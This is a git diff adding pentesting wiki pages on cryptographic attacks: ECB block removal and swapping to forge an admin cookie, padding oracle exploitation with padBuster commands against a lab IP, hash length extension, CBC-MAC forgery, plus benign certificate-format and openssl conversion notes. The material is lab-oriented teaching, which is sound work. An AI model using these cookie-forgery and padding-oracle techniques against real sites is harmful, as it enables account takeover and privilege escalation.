+* [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
+
+## Strong Crypto
+
+### Fernet
+
+2 base64 strings \(token and key\)
+
+```text
+Token:
+gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
+
+Key:
+-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
+```
+
+* [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
+
+### Samir Secret Sharing
+
+A secret is splitted in X parts and to recover it you need Y parts \(_Y <=X_\).
+
+```text
+8019f8fa5879aa3e07858d08308dc1a8b45
+80223035713295bddf0b0bd1b10a5340b89
+803bc8cf294b3f83d88e86d9818792e80cd
+```
+
+[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
+
+### OpenSSL brute-force
+
+* [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
+* [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
+
+## Tools
+
+* [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
+* [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
+* [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
+
diff --git a/crypto/electronic-code-book-ecb.md b/crypto/electronic-code-book-ecb.md
new file mode 100644
index 00000000000..aa6a1a92147
--- /dev/null
+++ b/crypto/electronic-code-book-ecb.md
@@ -0,0 +1,226 @@
+---
+description: 'https://pentesterlab.com/'
+---
+
+# Electronic Code Book \(ECB\)
+
+**Post from:** [**https://pentesterlab.com/**](https://pentesterlab.com/)\*\*\*\*
+
+## ECB
+
+ECB is an encryption mode in which the message is splitted into blocks of X bytes length and each block is encrypted separetely using a key.
+
+The following schema \(source: [Wikipedia](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)\) explains this method:
+
+
+
+You can check the [recent XKCD on the Adobe's password leak](http://xkcd.com/1286/) to get an humoristic idea of the problems tied to ECB.
+
+During the decryption, the reverse operation is used. Using ECB has multiple security implications:
+
+* Blocks from encrypted message can be removed without disturbing the decryption process.
+* Blocks from encrypted message can be moved around without disturbing the decryption process.
+
+In this exercise, we will see how we can exploit these two weaknesses.
+
+## Detection of the vulnerability
+
+In this exercise, you can register an account and log in with this account \(to make things easier, you get automatically logged in when you register\).
+
+If you create an account and log in two times with this account, you can see that the cookie sent by the application didn't change.If you log in many times and always get the same cookie, there is probably something wrong in the application. The cookie sent back should be unique each time you log in. If the cookie is always the same, it will probably always be valid and there won't be anyway to invalidate it.
+
+If we look at the cookie, we can see that it seems uri-encoded and base64-encoded:
+
+
+
+The 2 equals sign encoded as `%3d%3d` are a good indicator of base64-encoded string.
+
+We can decode it using the following ruby code:
+
+```text
+% irb
+> require 'base64' ; require 'uri'
+ => true
+> Base64.decode64(URI.decode("OR9hcp18%2BC1bChK10NlRRg%3d%3d"))
+ => "9\x1Far\x9D|\xF8-[\n\x12\xB5\xD0\xD9QF"
+```
+
+Or by decoding the URI to a string manually and use the base64 command:
+
+```text
+% echo "OR9hcp18+C1bChK10NlRRg==" | base64 -D | hexdump -C
+0000000 39 1f 61 72 9d 7c f8 2d 5b 0a 12 b5 d0 d9 51 46 |9.ar.|.-[.....QF|
+0000010
+```
+
+On osX, the command `base64 -D` replaces `base64 -d`
+
+In both cases, we can see that the information seems to be encrypted.
+
+First, we can start by creating two accounts `test1` and `test2` with the same password: `password` and compare the cookies sent by the application. We get the following cookies \(after URI-decoding\):
+
+| Account: | test1 | test2 |
+| :--- | :--- | :--- |
+| Cookie: | vHMQ+Nq9C3MHT8ZkGeMr4w== | Mh+JMH1OMhcHT8ZkGeMr4w== |
+
+If we base64-decode both cookies, we get the following strings:
+
+| Account: | test1 | test2 |
+| :--- | :--- | :--- |
+| Decoded cookie: | \xBCs\x10\xF8\xDA\xBD\vs**\aO\xC6d\x19\xE3+\xE3** | 2\x1F\x890}N2\x17**\aO\xC6d\x19\xE3+\xE3** |
+
+We can see that part of the decrypted values look really similar.
+
+Now we can try to create a user with an arbitrary long username and password. For example, a username composed of 20 `a` and a password composed of 20 `a`. By creating this user, we get the following cookie:
+
+```text
+> document.cookie
+"auth=GkzSM2vKHdcaTNIza8od1wS28inRHiC2GkzSM2vKHdcaTNIza8od1ys96EXmirn5"
+```
+
+If we decode this value, we get the following value:
+
+```text
+\x1AL\xD23k\xCA\x1D\xD7\x1AL\xD23k\xCA\x1D\xD7\x04\xB6\xF2)\xD1\x1E \xB6\x1AL\xD23k\xCA\x1D\xD7\x1AL\xD23k\xCA\x1D\xD7+=\xE8E\xE6\x8A\xB9\xF9
+```
+
+We can see that the following pattern \(composed of 8 bytes\): **`\x1AL\xD23k\xCA\x1D\xD7`** comes back multiple times:
+
+```text
+\x1AL\xD23k\xCA\x1D\xD7\x1AL\xD23k\xCA\x1D\xD7\x04\xB6\xF2)\xD1\x1E \xB6\x1AL\xD23k\xCA\x1D\xD7\x1AL\xD23k\xCA\x1D\xD7+=\xE8E\xE6\x8A\xB9\xF9
+```
+
+Based on the size of the pattern, we can infer that the ECB encryption uses a block size of 8 bytes.This example is using a weak encryption mechanism and it's likely that real life examples will use bigger block size.
+
+The decoded information also shows us that the username and password are not directly concatenated and that a delimiter is added \(since one of the block in the middle is different from the previous one\).
+
+We can think of the encrypted stream has one of the two following possibilities:
+
+* The stream contains the username, a delimiter and the password:
+
+
+
+* The stream contains the password, a delimiter and the username:
+
+
+
+By creating another user with a long username and a short password, we can see that the following pattern is used: `username|delimiter|password`.
+
+Now let's try to find the size of the delimiter, if we play with different size of username and password we get the following results:
+
+| Username length: | Password length: | Username+Password length: | Cookie's length \(after decoding\): |
+| :--- | :--- | :--- | :--- |
+| 2 | 3 | 5 | 8 |
+| 3 | 3 | 6 | 8 |
+| 3 | 4 | 7 | 8 |
+| 4 | 4 | 8 | 16 |
+| 4 | 5 | 9 | 16 |
+
+We can see that the size of the decoded cookie goes from 8 to 16 bytes when the length of the Username+Password is greater than 7. We can infer from this value that the delimiter is a single byte since the encryption is done per block of 8 bytes.
+
+Another important thing is to see what part of the encrypted stream is used by the application when we send the cookie back. If we remove everything after the block corresponding to the delimiter, we can see that we are still authenticated. The password does not seem to be used when the cookie gets used by the application.
+
+We now know that we just need to get the correct `username|delimiter` to get authenticated within the application as `username`.If you can find what delimiter is used \(or brute force it\), you can try to create a user with a username that contains the delimiter \(for example the username "`admin:`"\). Using this method, you may be able to get logged in as `admin`. This web application prevents this type of attack.
+
+## Exploitation of the vulnerability
+
+### By removing information
+
+The easiest way to get `admin` access is to remove some of the encrypted data. We know that the application uses the following format:
+
+```text
+\[username\]:\[separator\]
+```
+
+and only uses the `username` when the cookie is sent back to the application. We also know that each block of 8 bytes is completely independant \(ECB\). To exploit this issue, we can create a username that contains 8 characters followed by the word `admin`:
+
+```text
+aaaaaaaaadmin
+```
+
+And we will receive the cookie \(retrieved using the Javascript Console\):
+
+```text
+> document.cookie
+"auth=GkzSM2vKHdfgVmQuKXLregdPxmQZ4yvj"
+```
+
+This value will get decoded as:
+
+```text
+\x1AL\xD23k\xCA\x1D\xD7\xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3
+```
+
+We can see the pattern `\x1AL\xD23k\xCA\x1D\xD7` detected previously with the username that contained 20 `a`.
+
+We can then remove the first 8 bytes of information and reencode our payload to get a new cookie:
+
+```text
+\xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3
+```
+
+That will get encoded by the following ruby code:
+
+```text
+% irb
+> require 'cgi'; require 'base64'
+ => true
+> CGI.escape(Base64.strict_encode64("\xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3"))
+ => "4FZkLily63oHT8ZkGeMr4w%3D%3D"
+```
+
+Once you modify the cookie:
+
+
+
+And send this value back to the application \(by reloading the page\), you get logged in as `admin`:
+
+
+
+### By swapping blocks around
+
+A more complicated way to bypass this is to swap data around. We can make the assumption that the application will use an SQL query to retrieve information from the user based on his `username`. For some databases, when using the type of data `VARCHAR` \(as opposed to `BINARY` for example\), the following will give the same result:
+
+```text
+SELECT * FROM users WHERE username='admin';
+```
+
+```text
+SELECT * FROM users WHERE username='admin ';
+```
+
+The spaces after the value `admin` are ignored during the string comparison. We will use this to play with the encrypted blocks.
+
+Our goal is to end up with the following encrypted data:
+
+```text
+ECB(admin [separator]password)
+```
+
+We know that our separator is only composed of one byte. We can use this information to create the perfect `username` and `password`to be able to swap the blocks and get the correct forged value.
+
+We need to find a username and a password for which:
+
+* the password starts with `admin` to be used as the new username.
+* the encrypted password should be located at the start of a new block.
+* the `username+delimiter` length should be divisible by the block size \(from previous conditions\)
+
+By playing around, we can see that the following values work:
+
+* a `username` composed of `password` \(8 bytes\) followed by 7 spaces \(1 byte will be used by the delimiter\).
+* a `password` composed of `admin` followed by 3 spaces \(`8 - length("admin")`\).
+
+When creating this user, use a proxy to intercept the request and make sure your browser didn't remove the space characters.
+
+If you create correctly this user, the encrypted information will look like:
+
+Using some Ruby \(or even with Burp decoder\), you can swap the first 8 bytes with the last 8 bytes to get the following encrypted stream:
+
+Once you modify your cookie, and you reload the page, you should be logged in as `admin`:
+
+
+
+## Conclusion
+
+This exercise showed you how you can tamper encrypted information without decrypting them and use this behaviour to gain access to other accounts. It showed you that encryption can not be used as a replacement to signature and how it's possible to use ECB encryption to get control on the decrypted information. I hope you enjoyed learning with PentesterLab.
+
diff --git a/crypto/hash-length-extension-attack.md b/crypto/hash-length-extension-attack.md
new file mode 100644
index 00000000000..6dbcbcc0696
--- /dev/null
+++ b/crypto/hash-length-extension-attack.md
@@ -0,0 +1,35 @@
+# Hash Length Extension Attack
+
+## Summary of the attack
+
+Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know:
+
+* **The length of the secret** \(this can be also bruteforced from a given length range\)
+* **The clear text data**
+* **The algorithm \(and it's vulnerable to this attack\)**
+* **The padding is known**
+ * Usually a default one is used, so if the other 3 requirements are met, this also is
+ * The padding vary depending on the length of the secret+data, that's why the length of the secret is needed
+
+Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previos data + appended data**.
+
+### How?
+
+Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** \(state\), they **add the next block of data** and **hash it**.
+
+Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.
+If an attacker wants to append the string "append" he can:
+
+* Generate a MD5 of 64 "A"s
+* Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b
+* Append the string "append"
+* Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"**
+
+### **Tool**
+
+{% embed url="https://github.com/iagox86/hash\_extender" %}
+
+## References
+
+You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
+
diff --git a/crypto/padding-oracle-priv.md b/crypto/padding-oracle-priv.md
new file mode 100644
index 00000000000..1a1100ce546
--- /dev/null
+++ b/crypto/padding-oracle-priv.md
@@ -0,0 +1,125 @@
+---
+description: 'https://pentesterlab.com/'
+---
+
+# Padding Oracle
+
+**Post from** [**https://pentesterlab.com/**](https://pentesterlab.com/)\*\*\*\*
+
+## Cipher Block Chaining
+
+CBC is an encryption mode in which the message is split into blocks of X bytes length and each block is XORed with the previous encrypted block. The result is then encrypted.
+
+The following schema \(source: [Wikipedia](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)\) explains this method:
+
+
+
+During the decryption, the reverse operation is used. The encrypted data is split in block of X bytes. Then the block is decrypted and XORed with the previous encrypted block to get the cleartext. The following schema \(source: [Wikipedia](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)\) highlights this behavior:
+
+
+
+Since the first block does not have a previous block, an initialization vector \(IV\) is used.
+
+## Padding
+
+As we saw, the encryption is done by blocks of fixed size. To ensure that the cleartext exactly fit in one or multiple blocks, padding is often used. Padding can be done in multiple ways. A common way is to use PKCS7. With PKCS7, the padding will be composed of the same number: the number of bytes missing. For example, if the cleartext is missing 2 bytes, the padding will be `\x02\x02`.
+
+Let's look at more examples with a 2 blocks:
+
+| Block \#0 | Block \#1 | | | | | | | | | | | | | | |
+| :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- |
+| byte \#0 | byte \#1 | byte \#2 | byte \#3 | byte \#4 | byte \#5 | byte \#6 | byte \#7 | byte \#0 | byte \#1 | byte \#2 | byte \#3 | byte \#4 | byte \#5 | byte \#6 | byte \#7 |
+| 'S' | 'U' | 'P' | 'E' | 'R' | 'S' | 'E' | 'C' | 'R' | 'E' | 'T' | '1' | '2' | '3' | **0x02** | **0x02** |
+| 'S' | 'U' | 'P' | 'E' | 'R' | 'S' | 'E' | 'C' | 'R' | 'E' | 'T' | '1' | '2' | **0x03** | **0x03** | **0x03** |
+| 'S' | 'U' | 'P' | 'E' | 'R' | 'S' | 'E' | 'C' | 'R' | 'E' | 'T' | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
+| 'S' | 'U' | 'P' | 'E' | 'R' | 'S' | 'E' | 'C' | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
+
+## Padding Oracle
+
+When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, **if** an **invalid** **padding** triggers a detectable **behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack** of **results**, or a **slower response**.
+
+If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
+
+### How to exploit
+
+You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
+
+```text
+sudo apt-get install padbuster
+```
+
+In order to test if the cookie of a site is vulnerable you could try:
+
+```bash
+perl ./padBuster.pl http://10.10.181.45/index.php "Nl0OpaQYeGPMJeWSih2iiQ==" 8 -encoding 0 -cookies "auth=Nl0OpaQYeGPMJeWSih2iiQ=="
+```
+
+**Encoding 0** means that **base64** is used \(but others are available, check the help menu\).
+
+You could also **abuse** this **vulnerability** to **encrypt new data**. For example, imagine that the content of the cookie is "_user=MyUsername_", then you may change it to "_**user=administrator**_" and escalate privileges inside the application. You could also do it using `paduster`specifying the **-plaintext** parameter:
+
+```bash
+perl ./padBuster.pl http://10.10.181.45/index.php "Nl0OpaQYeGPMJeWSih2iiQ==" 8 -encoding 0 -cookies "auth=Nl0OpaQYeGPMJeWSih2iiQ==" -plaintext "user=administrator"
+```
+
+If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter.
+
+```bash
+perl ./padBuster.pl http://10.10.181.45/index.php "Nl0OpaQYeGPMJeWSih2iiQ==" 8 -encoding 0 -cookies "hcon=Nl0OpaQYeGPMJeWSih2iiQ==" -error "Invalid padding"
+```
+
+### The theory
+
+In **summary**, you can start decrypting the encrypted data by **guessing** the correct **values** that can be used to **create** all the **different paddings**. Then, the padding oracle attack will start **decrypting** bytes **from** the **end** to the start by **guessing** which will be the correct **value** that **creates a padding of 1, 2, 3, etc**.
+
+If we zoom in, we can see that the cleartext byte `C15` is just a XOR between the encrypted byte `E7` from the previous block, and byte `I15` which came out of the block decryption step:
+
+
+
+This is also valid for all other bytes:
+
+* `C14 = I14 ^ E6`
+* `C13 = I13 ^ E5`
+* `C12 = I12 ^ E4`
+* ...
+
+Now if we modify `E7` and keep changing its value, we will keep getting an invalid padding. Since we need `C15` to be `\x01`. However, there is one value of `E7` that will give us a valid padding. Let's call it `E'7`. With `E'7`, we get a valid padding. And since we know we get a valid padding we know that `C'15` \(as in `C15` for `E'7`\) is `\x01`.
+
+`\x01 = I15 ^ E'7`
+
+The gives us:
+
+`I15 = \x01 ^ E'7`
+
+So we are able to compute `I15`.
+
+Since we know `I15`, we can now compute `C15`
+
+`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
+
+Now that we have `C15`, we can move to brute-forcing `C14`. First we need to compute another `E7` \(let's call it `E''7`\) that gives us `C15 = \x02`. We need to do that since we want the padding to be `\x02\x02` now. It's really simple to compute using the property above and by replacing the value of `C15` we want \(`\x02`\) and `I15` we now know:
+
+`E''7 = \x02 ^ I15`
+
+After brute force `E6`, to find the value that gives us a valid padding `E''6`, we can re-use the formula:
+
+`C14 = I14 ^ E6`
+
+to get
+
+`I14 = \x02 ^ E''6`
+
+Once we get `I14`, we can compute `C14`:
+
+`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`
+
+Using this method, we can keep going until we get all the ciphertext decrypted.
+
+### Detection of the vulnerability
+
+To get started, you can register an account and log in with this account \(to make things easier, you get automatically logged in when you register\).
+
+If you create an account and log in two times with this account, you can see that the cookie sent by the application didn't change.If you log in many times and always get the same cookie, there is probably something wrong in the application. The cookie sent back should be unique each time you log in. If the cookie is always the same, it will probably always be valid and there won't be anyway to invalidate it.
+
+Now, if you try to modify the cookie, you can see that you get an error from the application.
+
diff --git a/crypto/rc4-encrypt-and-decrypt.md b/crypto/rc4-encrypt-and-decrypt.md
new file mode 100644
index 00000000000..12991b9aeda
--- /dev/null
+++ b/crypto/rc4-encrypt-and-decrypt.md
@@ -0,0 +1,14 @@
+# RC4 - Encrypt&Decrypt
+
+If you can somehow encrypt a plaintext using a RC4**,** you can decrypt any content encrypted by that RC4\(using the same password\) just using the encryption function.
+
+If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine:
+
+{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
+
+{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
+
+\*\*\*\*
+
+
+
diff --git a/cryptography/certificates.md b/cryptography/certificates.md
new file mode 100644
index 00000000000..e939f56bdd3
--- /dev/null
+++ b/cryptography/certificates.md
@@ -0,0 +1,176 @@
+# Certificates
+
+## What is a Certificate
+
+In cryptography, a **public key certificate,** also known as a **digital certificate** or **identity certificate,** is an electronic document used to prove the ownership of a public key. The certificate includes information about the key, information about the identity of its owner \(called the subject\), and the digital signature of an entity that has verified the certificate's contents \(called the issuer\). If the signature is valid, and the software examining the certificate trusts the issuer, then it can use that key to communicate securely with the certificate's subject.
+
+In a typical [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) \(PKI\) scheme, the certificate issuer is a [certificate authority](https://en.wikipedia.org/wiki/Certificate_authority) \(CA\), usually a company that charges customers to issue certificates for them. By contrast, in a [web of trust](https://en.wikipedia.org/wiki/Web_of_trust) scheme, individuals sign each other's keys directly, in a format that performs a similar function to a public key certificate.
+
+The most common format for public key certificates is defined by [X.509](https://en.wikipedia.org/wiki/X.509). Because X.509 is very general, the format is further constrained by profiles defined for certain use cases, such as [Public Key Infrastructure \(X.509\)](https://en.wikipedia.org/wiki/PKIX) as defined in RFC 5280.
+
+## x509 Common Fields
+
+* **Version Number:** Version of x509 format.
+* **Serial Number**: Used to uniquely identify the certificate within a CA's systems. In particular this is used to track revocation information.
+* **Subject**: The entity a certificate belongs to: a machine, an individual, or an organization.
+ * **Common Name**: Domains affected by the certificate. Can be 1 or more and can contain wildcards.
+ * **Country \(C\)**: Country
+ * **Distinguished name \(DN\)**: The whole subject: `C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net`
+ * **Locality \(L\)**: Local place
+ * **Organization \(O\)**: Organization name
+ * **Organizational Unit \(OU\)**: Division of an organisation \(like "Human Resources"\).
+ * **State or Province \(ST, S or P\)**: List of state or province names
+* **Issuer**: The entity that verified the information and signed the certificate.
+ * **Common Name \(CN\)**: Name of the certificate authority
+ * **Country \(C\)**: Country of the certificate authority
+ * **Distinguished name \(DN\)**: Distinguished name of the certificate authority
+ * **Locality \(L\)**: Local place where the organisation can be found.
+ * **Organization \(O\)**: Organisation name
+ * **Organizational Unit \(OU\)**: Division of an organisation \(like "Human Resources"\).
+* **Not Before**: The earliest time and date on which the certificate is valid. Usually set to a few hours or days prior to the moment the certificate was issued, to avoid [clock skew](https://en.wikipedia.org/wiki/Clock_skew#On_a_network) problems.
+* **Not After**: The time and date past which the certificate is no longer valid.
+* **Public Key**: A public key belonging to the certificate subject. \(This is one of the main parts as this is what is signed by the CA\)
+ * **Public Key Algorithm**: Algorithm used to generate the public key. Like RSA.
+ * **Public Key Curve**: The curve used by the elliptic curve public key algorithm \(if apply\). Like nistp521.
+ * **Public Key Exponent**: Exponent used to derive the public key \(if apply\). Like 65537.
+ * **Public Key Size**: The size of the public key space in bits. Like 2048.
+ * **Signature Algorithm**: The algorithm used to sign the public key certificate.
+ * **Signature**: A signature of the certificate body by the issuer's private key.
+* **x509v3 extensions**
+ * **Key Usage**: The valid cryptographic uses of the certificate's public key. Common values include digital signature validation, key encipherment, and certificate signing.
+ * In a Web certificate this will appear as a _X509v3 extension_ and will have the value `Digital Signature`
+ * **Extended Key Usage**: The applications in which the certificate may be used. Common values include TLS server authentication, email protection, and code signing.
+ * In a Web certificate this will appear as a _X509v3 extension_ and will have the value `TLS Web Server Authentication`
+ * **Subject Alternative Name:** Allows users to specify additional host **names** for a single SSL **certificate**. The use of the SAN extension is standard practice for SSL certificates, and it's on its way to replacing the use of the common **name**.
+ * **Basic Constraint:** This extension describes whether the certificate is a CA certificate or an end entity certificate. A CA certificate is something that signs certificates of others and a end entity certificate is the certificate used in a web page for example \(the last par of the chain\).
+ * **Subject Key Identifier** \(SKI\): This extension declares a unique **identifier** for the public **key** in the certificate. It is required on all CA certificates. CAs propagate their own SKI to the Issuer **Key Identifier** \(AKI\) extension on issued certificates. It's the hash of the subject public key.
+ * **Authority Key Identifier**: It contains a key identifier which is derived from the public key in the issuer certificate. It's the hash of the issuer public key.
+ * **Authority Information Access** \(AIA\): This extension contains at most two types of information :
+ * Information about **how to get the issuer of this certificate** \(CA issuer access method\)
+ * Address of the **OCSP responder from where revocation of this certificate** can be checked \(OCSP access method\).
+ * **CRL Distribution Points**: This extension identifies the location of the CRL from which the revocation of this certificate can be checked. The application that processes the certificate can get the location of the CRL from this extension, download the CRL and then check the revocation of this certificate.
+ * **CT Precertificate SCTs**: Logs of Certificate transparency regarding the certificate
+
+### Difference between OSCP and CRL Distribution Points
+
+**OCSP** \(RFC 2560\) is a standard protocol that consists of an **OCSP client and an OCSP responder**. This protocol **determines revocation status of a given digital public-key certificate** **without** having to **download** the **entire CRL**.
+**CRL** is the **traditional method** of checking certificate validity. A **CRL provides a list of certificate serial numbers** that have been revoked or are no longer valid. CRLs let the verifier check the revocation status of the presented certificate while verifying it. CRLs are limited to 512 entries.
+From [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm#:~:text=OCSP%20%28RFC%202560%29%20is%20a,to%20download%20the%20entire%20CRL.&text=A%20CRL%20provides%20a%20list,or%20are%20no%20longer%20valid.).
+
+### What is Certificate Transparency
+
+Certificate Transparency aims to remedy certificate-based threats by **making the issuance and existence of SSL certificates open to scrutiny by domain owners, CAs, and domain users**. Specifically, Certificate Transparency has three main goals:
+
+* Make it impossible \(or at least very difficult\) for a CA to **issue a SSL certificate for a domain without the certificate being visible to the owner** of that domain.
+* Provide an **open auditing and monitoring system that lets any domain owner or CA determine whether certificates have been mistakenly or maliciously** issued.
+* **Protect users** \(as much as possible\) from being duped by certificates that were mistakenly or maliciously issued.
+
+#### **Certificate Logs**
+
+Certificate logs are simple network services that maintain **cryptographically assured, publicly auditable, append-only records of certificates**. **Anyone can submit certificates to a log**, although certificate authorities will likely be the foremost submitters. Likewise, anyone can query a log for a cryptographic proof, which can be used to verify that the log is behaving properly or verify that a particular certificate has been logged. The number of log servers doesn’t have to be large \(say, much less than a thousand worldwide\), and each could be operated independently by a CA, an ISP, or any other interested party.
+
+#### Query
+
+You can query the logs of Certificate Transparency of any domain in [https://crt.sh/](https://crt.sh/).
+
+## Formats
+
+There are different formats that can be used to store a certificate.
+
+#### **PEM Format**
+
+* It is the most common format used for certificates
+* Most servers \(Ex: Apache\) expects the certificates and private key to be in a separate files - Usually they are Base64 encoded ASCII files - Extensions used for PEM certificates are .cer, .crt, .pem, .key files - Apache and similar server uses PEM format certificates
+
+#### **DER Format**
+
+* The DER format is the binary form of the certificate
+* All types of certificates & private keys can be encoded in DER format
+* DER formatted certificates do not contain the "BEGIN CERTIFICATE/END CERTIFICATE" statements
+* DER formatted certificates most often use the ‘.cer’ and '.der' extensions
+* DER is typically used in Java Platforms
+
+#### **P7B/PKCS\#7 Format**
+
+* The PKCS\#7 or P7B format is stored in Base64 ASCII format and has a file extension of .p7b or .p7c
+* A P7B file only contains certificates and chain certificates \(Intermediate CAs\), not the private key
+* The most common platforms that support P7B files are Microsoft Windows and Java Tomcat
+
+#### **PFX/P12/PKCS\#12 Format**
+
+* The PKCS\#12 or PFX/P12 format is a binary format for storing the server certificate, intermediate certificates, and the private key in one encryptable file
+* These files usually have extensions such as .pfx and .p12
+* They are typically used on Windows machines to import and export certificates and private keys
+
+### Formats conversions
+
+**Convert x509 to PEM**
+
+```text
+openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
+```
+
+#### **Convert PEM to DER**
+
+```text
+openssl x509 -outform der -in certificatename.pem -out certificatename.der
+```
+
+**Convert DER to PEM**
+
+```text
+openssl x509 -inform der -in certificatename.der -out certificatename.pem
+```
+
+**Convert PEM to P7B**
+
+**Note:** The PKCS\#7 or P7B format is stored in Base64 ASCII format and has a file extension of .p7b or .p7c. ****A P7B file only contains certificates and chain certificates \(Intermediate CAs\), not the private key. The most common platforms that support P7B files are Microsoft Windows and Java Tomcat.
+
+```text
+openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
+```
+
+**Convert PKCS7 to PEM**
+
+```text
+openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
+```
+
+**Convert pfx to PEM**
+
+**Note:** The PKCS\#12 or PFX format is a binary format for storing the server certificate, intermediate certificates, and the private key in one encryptable file. PFX files usually have extensions such as .pfx and .p12. PFX files are typically used on Windows machines to import and export certificates and private keys.
+
+```text
+openssl pkcs12 -in certificatename.pfx -out certificatename.pem
+```
+
+**Convert PFX to PKCS\#8**
+**Note:** This requires 2 commands
+
+**1- Convert PFX to PEM**
+
+```text
+openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
+```
+
+**2- Convert PEM to PKCS8**
+
+```text
+openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
+```
+
+**Convert P7B to PFX**
+**Note:** This requires 2 commands
+
+1- **Convert P7B to CER**
+
+```text
+openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
+```
+
+**2- Convert CER and Private Key to PFX**
+
+```text
+openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
+```
+
diff --git a/cryptography/cipher-block-chaining-cbc-mac-priv.md b/cryptography/cipher-block-chaining-cbc-mac-priv.md
new file mode 100644
index 00000000000..01d3f011fd1
--- /dev/null
+++ b/cryptography/cipher-block-chaining-cbc-mac-priv.md
@@ -0,0 +1,65 @@
+---
+description: 'https://pentesterlab.com/'
+---
+
+# Cipher Block Chaining CBC-MAC
+
+**Post from** [**https://pentesterlab.com/**](https://pentesterlab.com/)\*\*\*\*
+
+## CBC
+
+The easiest attack to test is that if the cookie just the username encrypted.
+
+If the cookie is only the username \(or the first part of the cookie is the username\) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and bruteforce the first byte of the cookie.
+
+## CBC-MAC
+
+CBC-MAC is a method to ensure integrity of a message by encrypting it using CBC mode and keeping the last encrypted block as "signature". This ensures that a malicious user can not modify any part of the data without having to change the signature. The key used for the "encryption" ensures that the signature can't be guessed.
+
+However, when using CBC-MAC, the developer needs to be very careful if the message are not of fixed length. In this example, we will use the fact that there is no protection in place to get the application to sign two messages and build another message by concatenating the two messages.
+
+## Theory
+
+With CBC-MAC, we can generate two signatures `t` and `t'` for the messages `m` and `m'`. By using `m` and `m'` we can forge another message `m''` that will have the same signature as `m'` \(`t'`\). One thing to keep in mind is that the recommended way to use CBC-MAC is to use a NULL IV.
+
+To keep things simple, we are going to work on a single block for each message.
+
+We can see below how signing both messages works \(NB: both signatures are completely independent from each other\):
+
+
+
+If we try to concatenate those messages, the signature is no longer valid \(since `t` is now the IV for the second block where it was only NULL before\):
+
+
+
+However, if we XOR `m'` and `t`, the signature is now `t'`:
+
+
+
+## Implementation
+
+Based on the size of the signature, we can guess that the block size is likely to be 8. With this information, we will split `administrator`:
+
+* `administ`
+* `rator\00\00\00`
+
+We can trivially generate the signature for the first block, by just logging in and retrieving the signature `t`.
+
+For the second block, we want the `m'` XOR `t` to be equal to `rator\00\00\00`. So to generate the second username we will need to XOR `rator\00\00\00` with `t` \(since the application will sign it with a NULL IV instead of `t`\). Once we have this value, we can get the signature `t'`.
+
+Finally, we just need to concatenate `m` and `m'` to get `administrator` and use `t'` as signature.
+
+#### Resume
+
+1. Get the signature of username **administ** = **t**
+2. Get the signature of username **rator\x00\x00\x00 XOR t** = **t'**
+3. Set in the cookie the value **administrator+t'** \(**t'** will be a valid signature of **\(rator\x00\x00\x00 XOR t\) XOR t** = **rator\x00\x00\x00**
+
